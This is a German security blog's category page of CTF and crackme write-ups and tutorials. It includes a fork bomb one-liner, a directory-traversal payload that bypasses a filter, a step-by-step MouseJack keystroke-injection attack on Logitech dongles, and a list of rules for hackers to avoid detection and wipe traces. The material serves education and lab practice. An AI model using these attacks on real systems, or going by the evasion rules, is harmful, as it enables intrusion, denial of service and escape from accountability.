Kategorie: IT-Security
RSS

37C3

2024-01-03 von Mario

Ende 2023 fand der Chaos Communication Congress statt. Diesmal unter dem Motto “Unlocked“.

Es gab spannende Vorträge, welche live im Internet übertragen wurden. Einige Vorträge habe ich konsumiert und diese sind hier aufgelistet:

  • 37C3 – Fnord-Jahresrückblick-Rückblick
  • Apple’s iPhone 15: Under the C
  • Back in the Driver’s Seat: Recovering Critical Data from Tesla Autopilot Using Voltage Glitching
  • Blackbox Chemieindustrie
  • Breaking “DRM” in Polish trains
  • Die Akte Xandr: Ein tiefer Blick in den Abgrund der Datenindustrie
  • Hacking the Climate
  • Hacking Neural Networks
  • Hirne hacken: Hackback Edition
  • KIM: Kaos In der Medizinischen Telematikinfrastruktur (TI)
  • Oh no: KUNO – Gesperrte Girocards entsperren
  • Scholz greift durch: Die AfD wird verboten – Deepfakes auch!
  • Security Nightmares
  • Social Engineering: Geschichte, Wirkung & Maßnahmen
  • Why Railway Is Safe But NotSecure
  • Writing secure software

 

Meine persönlichen Favoriten waren:

  • Writing secure software
  • Oh no: KUNO – Gesperrte Girocards entsperren
  • Social Engineering: Geschichte, Wirkung & Maßnahmen
  • Hirne hacken: Hackback Edition

 

Die Vorträge können hier: media.ccc.de/c/37c3 angeschaut werden.

Kategorie: IT-Security Schlagwörter: ,

Security Wargame – Bandit

2021-12-26 von Mario

Bei dem Wargame “Bandit” werden Grundlagen vermittelt, um andere Wargames spielen zu können. Hier geht es um grundlegende Linux Befehle und deren Anwendung. Mit jedem Level steigt der Schwierigkeitsgrad. Auch für erfahrene Personen ist die ein oder andere Herausforderung dabei.

Link: overthewire.org/wargames/bandit/

 

Das letzte Bandit Level ist aktuell Nr. 33.

Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, 
we are constantly working on new levels and will most likely expand 
this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!
Kategorie: IT-Security Schlagwörter: , ,

Immunity Debugger – error importing module mona

2021-05-21 von Mario

After installing Immunity Debugger, I wanted to use the mona extension. The following error message

occurred: “pycommands: error importing module”.

 

Steps to solve the problem

1. Download Mona

git clone https://github.com/corelan/mona.git

2. Unpacking

unzip mona-master.zip

3. Copy mona.py

Add mona.py to the PyCommands subfolder in C:\Program Files (x86)\Immunity Inc\Immunity Debugger

4. Start Immunity Debugger

 

Kategorie: IT-Security

TryHackMe – Writeup – Ninja Skills

2020-08-22 von Mario

On the platform tryhackme.com you can test your IT and Security skills.

An exciting challenge is the machine called ninjaskills.

Let’s start the machine and check the tasks.

 

Ninja Skills

Answer the questions about the following files:

  • 8V2L
  • bny0
  • c4ZX
  • D8B3
  • FHl1
  • oiMO
  • PFbD
  • rmfX
  • SRSq
  • uqyw
  • v2Vb
  • X1Uy

 

After logging into the computer,I look around to find the files.

There is an interesting folder “files”, but the folder is empty. As the next step I created a text file “search.txt”.

touch search.txt

After that, I added the filenames we want to find.

find / 2>/dev/null | grep -F -f search.txt > found.txt

The file “found.txt” contains the path and the file names.

 

#1 Which of the above files are owned by the best-group group (enter the answer separated by spaces in alphabetical order)

cat found.txt | while read line; do ls -al $line; done

 

#2 Which of these files contain an IP address?

cat found.txt | while read line; do echo $line; cat $line | 
grep -Eo "([0-9]{1,3}[\.]){3}[0-9]{1,3}"; done

 

#3 Which file has the SHA1 hash of 9d54da7584015647ba052173b84d45e8007eba94

cat found.txt | while read line; do echo $line; sha1sum $line | 
grep 9d54da7584015647ba052173b84d45e8007eba94; done

 

#4 Which file contains 230 lines?

cat found.txt | while read line; do echo $line; wc -l $line; done

I didn’t find a file with 230 lines, but on closer inspection, one file is missing. ;)

 

#5 Which file’s owner has an ID of 502?

cat found.txt | while read line; do ls -al $line; done

 

#6 Which file is executable by everyone?

cat found.txt | while read line; do ls -n $line; done

Kategorie: IT-Security Schlagwörter: ,

Ubuntu Metasploit installieren

2020-07-01 von Mario

Mit der Anleitung kann das Metasploit Framework unter Ubuntu Mate installiert werden.

1. System Updaten

Als erstes das System aktualisieren:

sudo apt-get update
sudo apt-get upgrade

2. Notwendige Abhängigkeiten installieren

sudo apt-get install -y curl gpgv2 autoconf bison build-essential postgresql 
libaprutil1 libgmp3-dev libpcap-dev openssl libpq-dev libsqlite3-dev libssl-dev 
locate libsvn1 libtool libxml2 libxml2-dev wget libyaml-dev postgresql-contrib 
xsel zlib1g zlib1g-dev

3. Metasploit installieren

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/
metasploit-framework-wrappers/msfupdate.erb > msfinstall

Ändern der Berechtigungen mit dem Befehl “chmod” und ausführen:

chmod 755 msfinstall

Die Installation starten:

/msfinstall
Kategorie: IT-Security

0x00sec.dev: Exercise 1

2020-04-15 von Mario

Auf der Seite ctf.0x00sec.org werden CTF Spiele veröffentlicht. Für die erste Aufgabe hier ein writeup.

Challenge

Analyse

Da auf der Seite keine hilfreichen Informationen zu finden sind, wird der Quelltext der Seite untersucht.

Der Kommentar gibt einen Hinweis, an welcher Stelle gesucht werden soll.

</body>
  <!-- TODO: -->
  <!-- * Remove the git directory after publishing -->
</html>

Bei einem GIT Repository wird per default ein Ordner mit dem Namen “.git” angelegt. Weiterhin wird automatisch eine Struktur erstellt. Ein Versuch “https://exercise-1.0x00sec.dev/.git/” aufzurufen, ergab folgendes:

Die Anzeige der Fehlermeldung ist gut. Warum? Dadurch ist ersichtlich, dass der Ordner “.git” vorhanden ist.

Als nächstes kann jede einzelne Möglichkeit von weiteren Dateien oder Ordnern probiert werden, welche in der Dokumentation von GIT zu finden ist. Manuell macht das aber keinen Spaß. Das Tool “gitdumper” ist für diese Aufgabe perfekt geeignet.

 

Durchführung

Herunterladen des Tools “gitdumper” und starten.

./gitdumper.sh https://exercise-1.0x00sec.dev/.git/ DEST_FOLDER
Parameter Beschreibung
DEST_FOLDER Der Ordnername gibt an, wo die heruntergeladenen Dateien lokal gespeichert werden sollen.

 

Die Ausgabe von “gitdumper” stellt sich wie folgt dar:

Mit dem Befehl “tree” kann danach eine übersichtliche Darstellung der heruntergeladenen Daten erzeugt werden.

Die einzelnen Commits werden bei GIT gepackt (ZIP), um Speicherplatz zu sparen. Die relevanten Informationen befinden sich im Ordner “objects”. Für das Entpacken habe ich ein kleines Script geschrieben:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib  # A compression / decompression library

ROOT_DIR = "/EDIT_ME_PATH_TO_FOLDER/.git/objects/"

def readFile(path_to_file):

	compressed_content = open(path_to_file, 'rb').read()
	decompressed_content = zlib.decompress(compressed_content)
	print("--- BOF --- ")
	print(decompressed_content)
	print("--- EOF --- ")


def main():
	for root, subdirs, files in os.walk(ROOT_DIR):
		for file in files:
			tmp_file = os.path.join(root, file)
			print(tmp_file)
			readFile(tmp_file)


if __name__ == "__main__":
	main()

Das Script gibt die gepackten Daten aus. Zuvor muss die Variable “ROOT_DIR” auf den Ort der heruntergeladenen Daten entsprechend angepasst werden. Daraufhin das Script ausführen:

./zip_to_text.py

Da die Ausgabe etwas unübersichtlich ist, den Befehl erweitern:

./zip_to_text.py | grep Pass

Das sieht doch sehr gut aus. Hier findet ein Vergleich zwischen Username und Passwort statt, wobei das Passwort als SHA256 HASH abgelegt ist.

 

Den HASH-Wert gilt es zu cracken. Dafür kann eine beliebige Plattform verwendet werden.

Nach einigen Sekunden wurde der Originalwert des HASH (Result) angezeigt. Jetzt sind die Informationen für den Usernamen “admin” und für das Passwort “l33tsupah4x0r” bekannt und der Login kann durchgeführt werden.

 

Nach der Anmeldung wird das Flag “flag{g1t-dump1ng-i5-c00l}” angezeigt und die Aufgabe ist abgeschlossen.

Kategorie: IT-Security Schlagwörter: , , ,

Inject Keystrokes into Logitech Keyboards

2020-04-05 von Mario

In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.

 

Hardware und Software

Für die Umsetzung wurde folgende Hardware verwendet:

  • Crazyradio PA USB radio dongle based on Nordic Semiconductor’s nRF24LU1+
  • Logitech USB Dongle (C-U0007 – FW ver 012.005.00028)
  • Ubuntu 18.04.3 LTS

 

Firmware Version auslesen

Mit den Befehl “fwupdmgr” kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.

fwupdmgr get-devices

In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net

 

Firmware auf dem Crazyradio flashen

Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige  Bibliotheken benötigt.

apt-get install sdcc binutils python python-pip git
pip install pyusb
pip install --upgrade pip
pip install --upgrade -I pyusb
pip install --upgrade platformio

Danach die Software “Mousejack” herunterladen.

git clone https://github.com/BastilleResearch/mousejack
git submodule init
git submodule update

Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.

/nrf-research-firmware$ make
make install

Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl “dmesg” ausführen und nach dem Text “RFStorm” suchen.

dmesg

Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.

 

Jackit installieren

Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.

git clone https://github.com/insecurityofthings/jackit.git
cd jackit/
pip install -r requirements.txt
./setup.py build
./setup.py install

 

Attack

Zur Vorbereitung für den Angriff wird ein “Ducky” Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei “script.txt” speichern.

GUI r
DELAY 200
STRING calc.exe
ENTER

Mit dem Befehl “jackit” (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.

Sobald ein Dongle gefunden wurde, die jeweilige Adresse “C7:D4:21:98:07” kopieren und das Programm mit “STRG + C” beenden. Jetzt “jackit” erneut mit einigen Parametern starten.

jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt

Nachdem der Dongle wieder erkannt wurde, mit “STRG + C” abbrechen, um in ein Untermenü von “jackit” zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.

 

Links

Kategorie: IT-Security Schlagwörter: ,

Newbie CTF 2019: Top Secret

2020-03-21 von Mario

Challenge

He stole the virtual machine file containing the top secret of the enemy country.

However, due to the shortage of USB memory, I dumped only the memory that seemed to be the most important.

What is the secret of an enemy country? (Fake Flag file exists.)

 

Download: NewbieCTF2019_Top_Secret.zip (1,2GB)

Analyse

  • Entpacken der ZIP Datei (Nach dem Entpacken ist die Datei 4 GB groß)
  • Die entpackte Datei besitzt die Dateierweiterung “vmem”. Dieser Typ wird von Virtualisierungssoftware wie VMware, Virtualbox usw. verwendet. Dabei handelt es sich um ein Speicherabbild des RAM oder eines physischen Speichers einer virtuellen Maschine.
  • Für eine Analyse eines Speicherabbildes kann die Software Volatility Tool verwendet werden.
  • Eine Online-Referenz der Befehle steht ebenfalls bereit.
  • Das gesuchte Flag besitzt folgendes Format: “KorNewbie{???}”

1. Download Volatility Tool

$git clone https://github.com/volatilityfoundation/volatility

2. Installation

$cd volatility
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/bin/volatility) zur Verfügung.

Durchführung

Mit dem Befehl und zwei Parametern können grundsätzliche Informationen angezeigt werden.

volatility -f w7.vmem imageinfo
Parameter Beschreibung
-f Nach dem Parameter ist der Dateiname anzugeben (filename).
imageinfo Zeigt die Zusammenfassung des zu analysierenden Speicherabbildes an.

 

Mit den Informationen wird ersichtlich, dass es sich um ein Windows 7 Speicherabbild handelt. Als nächstes wird untersucht, welche Prozesse zum Zeitpunkt der Erstellung des Speicherabbildes gelaufen sind.

volatility -f w7.vmem --profile=Win7SP0x86 pslist

 

Parameter Beschreibung
–profile Gibt an, um welchen Typ von Speicherabbild es sich handelt. Der Wert kann der vorherigen Ausgabe (Suggested Profile(s)) entnommen werden.
pslist Zeigt eine Liste aller Prozesse an.

 

 

Jedem der Prozesse ist Speicher zugewiesen, welcher sich in diesem Abbild befindet. Jedoch ist die Frage, welcher Prozess beinhaltet das gesuchte Lösungswort (Flag)? Interessante Prozesse sind:

  • chrome.exe
  • mspaint.exe
  • SnippingTool.e
  • wordpad.exe
  • notpad.exe
  • cmd.exe

 

Jetzt gilt es, einem nach dem anderen zu analysieren…

Mit dem folgendem Befehl kann ein Speicherauszug (Teilmenge) aus dem Abbild erstellt werden, der genau einem Prozess entspricht:

volatility -f w7.vmem --profile=Win7SP0x86 memdump -p 3224 --dump-dir=tmp

Der Prozess “notpad.exe” besitzt die Nummer (PID) “3224”. In dem zuvor angelegten Ordner “tmp” wird eine Datei geschrieben, welche nur den Speicherinhalt des Prozesses “notpad.exe” beinhaltet.

 

Parameter Beschreibung
memdump Extrahieren des Speichers eines Prozesses in eine einzelne Datei.
-p Gibt die Prozessnummer an.
–dump-dir Angabe, in welchem Ordner der Speicherauszug abgelegt werden soll.

 

Die erstellte Datei “3224.dmp” befindet sich im Ordner “tmp”. Abschließend kommt das Tool “strings” zum Einsatz.

strings 3224.dmp | grep "KorNewbie"

Es werden alle Textinhalte der Datei “3224.dmp” ausgegeben und an den Befehl “grep” übergeben. Der Befehl “grep” sucht nach dem Text “KorNewbie”.

Bingo! Das wars! :)

Alternative

Der gesamte Prozess kann abgekürzt werden, indem mit “strings” direkt über das gesamte Speicherabbild gesucht wird. Funktioniert in dem Fall aber nur, weil das Flag in Textform vorliegt.

strings w7.vmem | grep -oE "KorNewbie{.*}
Kategorie: IT-Security Schlagwörter: ,

Hack-IT: Not K9 But ?

2020-02-13 von Mario

Auf der Seite “canyouhack.it” (leider down) in der Rubrik “Cryptography” gab es eine spannende Challenge.

Challenge

Not K9 But ?

8430727796730470662453

 

Analyse

Die Frage “Not K9 But ?” erinnert irgendwie sehr stark an T9.

Die Zahlen von 0 bis 9 sprechen ebenfalls dafür.

 

Information gathering

  • Auf Wikipedia ist die Tastenbelegung für die Zahlen 0 bis 9 zu finden.

  • Die Seite “canyouhack.it” war nur auf Englisch verfügbar. Die Wahrscheinlichkeit ist groß, dass die Lösung in englischer Sprache vorliegt.
  • Für die Zahl “0” gibt es keine Buchstaben, vermutlich beginnt bei jeder “0” ein neues Wort.

 

Durchführung

Erstellung eines Mappings der Ziffern zu den jeweiligen Buchstabenkombinationen.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | ABC | GHI | JKL | DEF

 

Als nächstes heißt es, probieren… Bei 843 ist das Wort recht schnell zu finden “THE”.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | MNO | ABC | GHI | JKL | DEF

 

Nach einigem Probieren ist das Lösungswort “mobile” gefunden.

 

Anmerkung

Falls das Probieren etwas zu “mühevoll” ist, kann der Vorgang auch durch ein Programm gelöst werden. Es werden alle Buchstabenkombinationen je Wort erstellt und gegen ein Wörterbuch abgeglichen. Daraufhin werden nur die Wörter angezeigt, die im Wörterbuch vorhanden sind. Falls es mehrere Möglichkeiten geben sollte, kann man wählen.

Genau so ein Programm wurde auch schon implementiert: t9-emulator.

 

Kategorie: IT-Security Schlagwörter:

35C3 – Du kannst alles hacken – du darfst dich nur nicht erwischen lassen

2019-07-11 von Mario

In dem Vortrag werden Beispiele gezeigt, wie “erfolgreiche” Hacker durch leichtsinnige Fehler überführt wurden:

Hacking rules to survive

Hier eine Zusammenfassung der Regeln:

  • Sprich nicht über deine Hacks
  • Prahle nicht über deine Fähigkeiten
  • Gewähre technischen Geräten, die nicht dein Eigentum sind, keinen Zugang zum Internet (absichern/flashen)
  • Nicht ohne Anonymisierungsdienst hacken, auch kein “antesten” (IP-Logs…)
  • Lagere zu Hause keine Daten und kein Equipment (hold your home clean)
  • Verwende keine Crypto-key zweimal
  • Verschlüssele deine Daten
  • Lass keine Daten auf der gehackten Maschine zurück (Log-Files)
  • Bei Verwendung von eigenen Programmen/Code ändere den code style (confuse analyser)
  • Zahlungen (Bitcoin) nicht auf das eigene Konto durchführen
  • Keine öffentlichen WLAN-Netze verwenden (MAC addresses, PROBE Request)
  • Deaktiviere rechtzeitig vor einem Hack das Smartphone (Ortung)
  • Benutze ein separates Telefon nicht ausschließlich bei einem Hack (IMEI only on, when somthing going on…)
  • Kenne deine eingesetzten Tools, sie könnten Spuren hinterlassen
  • Vertraue niemanden
  • Sei vor eine Hack paranoid
  • Installiere dein Equipment immer neu
  • Verwende unterschiedliches Equipment (privater PC/PC zum Hacken)
  • Hacke nicht von zu Hause
Kategorie: IT-Security

IOLI-crackme – 0x02

2019-04-22 von Mario

Auf der Website der University of California, Riverside (UCR) im Department of Computer Science and Engineering wird ein Kurs zum Thema “Security and privacy” angeboten. Dabei wird auch auf das Thema Reverse Engineering näher eingegangen. Es gilt, sieben Crackmes (IOLI-crackme) zu lösen.

 

Writeup Crackme0x02 

Als erstes das Programm “crackme0x02” ausführen. Daraufhin wird eine Passworteingabe verlangt, welches wir nicht kennen. Zum Testen einfach ein paar Buchstaben eingeben und mit Enter bestätigen.

./crackme0x02

Mit dem Befehl “file” kann geprüft werden, um welchen Dateityp es sich handelt.

file crackme0x02

In der Ausgabe wird der Dateityp ELF angezeigt. Mit einem weiteren UNIX-Programm, dem GNU Debugger, besteht die Möglichkeit, die Software in Maschinensprache anzeigen zulassen.

gdb ./crackme0x02
set disassembly-flavor intel
disas main

Der erste Befehlt “gdb ./crackme0x02” öffnet den GNU Debugger und ebenfalls die Datei “crackme0x02”. Mit dem darauf folgenden Befehl wird die Darstellung der Syntax auf Intel umgestellt. Als nächstes wird die “Main” Methode des “crackme0x02” zur Anzeige gebracht.

 

Der relevante Teil ist nach “call 0x804830c <scanf@plt>” zu finden. Die Funktion “scanf” liest die Tastatureingabe und im folgenden befindet sich die Berechnung des Passworts.

Code Beschreibung
mov DWORD PTR [esp+0x4], eax Der Wert von eax (zeigt auf [ebp-0x4]) und wird nach [esp+0x4] kopiert.
mov DWORD PTR [esp], 0x804856c Die Adresse 0x804856c (zeigt auf [ebp-0x4]) wird zum Stackpointer [esp] kopiert.
call 0x804830c <scanf@plt> Die Funktion scanf wird aufgerufen und der eingegebene Wert wird in [ebp-0x4] geschrieben.
mov DWORD PTR [ebp-0x8], 0x5a Der Basepointer [ebp-0x8] wird mit dem Hexadezimalwert “5a” (in Dezimal “90”) belegt.
mov DWORD PTR [ebp-0xc], 0x1ec Der Basepointer [ebp-0xc] wird mit dem Hexadezimalwert “1ec” (in Dezimal “492”) belegt.
mov edx, DWORD PTR [ebp-0xc] Der Wert von [ebp-0xc] (in Dezimal “492”) wird nach edx kopiert.
lea eax, [ebp-0x8] Mit lea (load effective address) wird in eax die Adresse von [ebp-0x8] (in Dezimal “90”) abgelegt.
add DWORD PTR [eax], edx Die Werte von edx (492) und eax (zeigt [ebp-0x8] (in Dezimal “90”)) werden addiert.

eax (582) = eax (90) + edx (492)

Da eax auf die Adresse [ebp-0x8] zeigt, wird der vorherige Wert 90 mit dem Wert 582 überschrieben.

mov eax, DWORD PTR [ebp-0x8] Der Wert von [ebp-0x8] (582) wird nach eax kopiert.
imul eax, DWORD PTR [ebp-0x8] Die Werte von [ebp-0x8] (582) und eax (582) werden multipliziert.

eax (338724) = eax (582) * [ebp-0x8] (582)

mov DWORD PTR [ebp-0xc], eax Der Wert von eax (338724) wird nach [ebp-0xc] kopiert.
mov eax, DWORD PTR [ebp-0x4] Die Passworteingabe ist in [ebp-0x4] abgelegt und wird nach eax kopiert.
cmp eax, DWORD PTR [ebp-0xc] Die Werte in [ebp-0xc9] (338724) und eax (Passworteingabe) werden verglichen.
jne 0x8048461 <main+125> Darauf folgt eine IF-Abfrage (Jump if not equal) und es wird eine Erfolgs- oder eine Fehlermeldung ausgegeben.

 

Das gesuchte Passwort lautet: 338724

 

Link zum Kurs: http://www.cs.ucr.edu/~csong/cs165/17/info.html

Download der Challenges: http://www.cs.ucr.edu/~csong/cs165/17/l/lab1.tar.bz2

Kategorie: IT-Security Schlagwörter: , ,

35C3 Junior CTF – McDonald

2019-02-06 von Mario

Challenge

Our web admin name’s “Mc Donald” and he likes apples and always forgets to throw away his apple cores..

http://35.207.132.47:85

 

Analyse

Nach dem Aufruf der Webseite wurde eine leere Seite angezeigt. Im Quelltext der Seite war auch nichts zu finden.

Ein Blick in die “robots.txt” verschaffte neue Erkenntnisse.

http://35.207.91.38/robots.txt

Inhalt der Datei:

User-agent: *
Disallow: /backup/.DS_Store

Als nächstes wurde die Datei “DS_Store” heruntergeladen.

 

Information gathering

1. Recherche was das für eine Datei ist. Wikipedia sagt dazu:

“In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.”

2. Nach einer weiteren Suche im Web bin ich auf das Tool “ds store exp” gestoßen.

 

Durchführung

1. Das Tool anwenden und alle Ordner und Dateien werden extrahiert.

./ds_store_exp.py http://35.207.91.38/backup/.DS_Store

2. Flag suchen

Die Ordner- und Dateistruktur mit dem Befehl “tree” anzeigen.

In der Textdatei “flag,txt” befindet sich das gesuchte Flag.

Solution: 35c3_Appl3s_H1dden_F1l3s

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – rare_mount

2019-02-02 von Mario

Challenge

Little or big, we do not care!

File: ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

 

Analyse

Nach dem Download der Datei wurde mit dem Befehl “file” geschaut, um welchen Dateityp es sich handelt.

$file ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin
ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin: data

Leider hilft das noch nicht wirklich weiter. Ein weiterer Versuch mit dem Programm “binwalk”:

$binwalk ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

DECIMAL   	HEX       	DESCRIPTION
------------------------------------------------------------
0         	0x0       	JFFS2 filesystem, big endian

Es handelt sich bei der Datei um ein JFFS2 Filesystem.

 

Information gathering

Nach der Recherche können Dateien mit dem “JFFS2 filesystem extraction tool” extrahiert werden.

1. Download des Tools

$git clone https://github.com/sviehb/jefferson

2. Installation

$cd jefferson
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/local/bin/jefferson) zur Verfügung.

 

Durchführung

1. Das Tool anwenden und Dateien extrahieren.

$jefferson ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin -d rare_output

2. Flag suchen

Das Tool legt einen Ordner mit dem Namen “rare_output” an. Dort ist ein weiterer Unterordner mit dem Namen “fs_1” enthalten. Dieser wiederum enthält zwei Dateien.

In der Textdatei befindet sich das gesuchte Flag.

 

Solution: 35C3_big_or_little_1_dont_give_a_shizzle

Kategorie: IT-Security Schlagwörter: ,

Linux: fork() bomb verstehen

2019-01-30 von Mario

Eine Forkbomb ist eine Form eines Denial of Service (DoS) Angriffs gegen ein Linux System. Dabei sollen alle verfügbaren Systemressourcen aufgebraucht werden, um so das System zu blockieren.

 

Warnung

Die Ausführung des hier abgebildeten Codes kann Ihr System abstürzen lassen!

Beispielcode

:(){ :|:& };:

In dem hier aufgeführten Beispiel handelt es sich um eine Bash Funktion, welche die “fork” Operation verwendet und rekursiv aufgerufen wird. Wenn die Forkbomb aktiviert wurde, kann es passieren, dass der normale Betrieb des Systems erst nach einem Neustart wieder möglich ist.

Analyse

Code Beschreibung
:() Definiert eine Funktion mit dem Namen “:”

 

Lesbar formatiert stellt sich die Funktion so dar:

:(){
 :|:&;
};:
Code Beschreibung
{ Klammer, die den Funktionsbereich öffnet
:|: Ruft die Funktion selbst auf (Rekursion) und gibt die Ausgabe an eine Kopie von “:” weiter.
& Führt die Funktion im Hintergrund aus und ist somit unabhängig vom aufrufenden Prozess
} Klammer, die den Funktionsbereich schließt
; Beendet die Funktionsdefinition
: Startet die Funktion “:”

 

Verallgemeinerte Darstellung

function boom() {
    boom | boom&;
}
boom

 

System schützen

Unter Linux können unter “/etc/security/limits.conf” Datei- und Prozesslimitierungen vorgenommen werden. Das Programm “ulimit” ermöglicht die Beschränkungen der systemweiten Ressourcennutzung zu konfigurieren.

ulimit -u

Mit der Ausführung wird eine Nummer angezeigt, diese gibt an, wie viele Prozesse auf dem System laufen können. Um das System zu schützen muss die Nummer verringert werden. Mit dem folgenden Befehl wird die aktuelle Session auf max. 4000 Prozesse beschränkt.

ulimit -S -u 4000

Wenn jetzt versucht wird, eine Forkbomb zu starten, sollte folgende Fehlermeldung erscheinen: “fork: resource temporarily unavailable”. Dies bedeutet, dass Ihr System der Forkbomb nicht erlaubt hat, weitere Prozesse zu starten.

 

Bildquelle: pixabay.com/de/bombe-computer-virus-z%C3%BCnden-gefahr-152795/

Kategorie: IT-Security Schlagwörter:

35C3 Junior CTF – flags

2019-01-06 von Mario

Der CCC veranstaltet seit 35 Jahren einen Kongress. Der diesjährige fand unter dem Motto Refreshing Memories statt. Auch in diesem Jahr gab es ein CTF (Capture the flag) Spiel. Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen.

Challenge

Fun with flags: http://35.207.169.47
Flag is at /flag
Difficulty estimate: Easy

 

Beim Aufruf der Adresse wurde folgende Seite angezeigt.

Analyse

Der PHP Code holt sich die aktuellen gesetzten Browsersprachen.

$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';

Danach werden die Sprachen (falls mehrere gesetzt sind) aufgeteilt und die erste wird in die Variable geschrieben.

$lang = explode(',', $lang)[0];

Daraufhin wird der Inhalt der Variable gesäubert bzw. geschützt.

$lang = str_replace('../', '', $lang);

Als nächstes wird aus dem Ordner “flags” das Bild passend zur Sprache geladen.

$c = file_get_contents("flags/$lang");

Jetzt erfolgt eine Prüfung, ob eine Datei vorhanden ist und wenn nicht, wird ein default Bild geladen.

if (!$c) $c = file_get_contents("flags/ot");

In der letzten Zeile erfolgt die Ausgabe.

 

Information gathering

Was wissen wir:

  • Das Ziel liegt unter “/flag”.
  • Eingabeparameter, der beeinflusst werden kann, ist die erste Browsersprache.
  • Es gibt einen Schutzmechanismus “str_replace”.

 

Unser Ziel ist es, dass Laden des Inhaltes zu beeinflussen.

$c = file_get_contents("flags/../../../../../flag");

Das ist prinzipiell möglich, da die Browsersprache selbst festgelegt werden kann. Dafür im Firefox in der Adresszeile den Befehl “about:config” eingeben und nach “intl.accept_languages” suchen.

Jetzt noch den Schutzmechanismus “str_replace” umgehen. Die Funktion ersetzt den Text “../” durch einen leeren String. Der Mechanismus ist leicht zu umgehen, denn es wird nur “../” ersetzt. Wenn aber als Input für die Funktion “….//” beinhaltet, ist das Output “../” und genau das möchten wir erreichen. Es werden lediglich zwei Punkte und ein Slash entfernt, der Rest bleibt erhalten.

 

Exploiting

1. Wir ändern unsere Browsersprache in “….//….//….//….//flag”

2. Wir rufen die Seite auf.

Es wird kein Bild angezeigt. Also den Quelltext der Seite anzeigen lassen (STRG +U).

3. Den Text kopieren und dekodieren.

echo "MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=" | base64 -d

Solution: 35c3_this_flag_is_the_be5t_fl4g

 

Diese Art von Angriff nennt man directory traversal attack. :)

Kategorie: IT-Security Schlagwörter: ,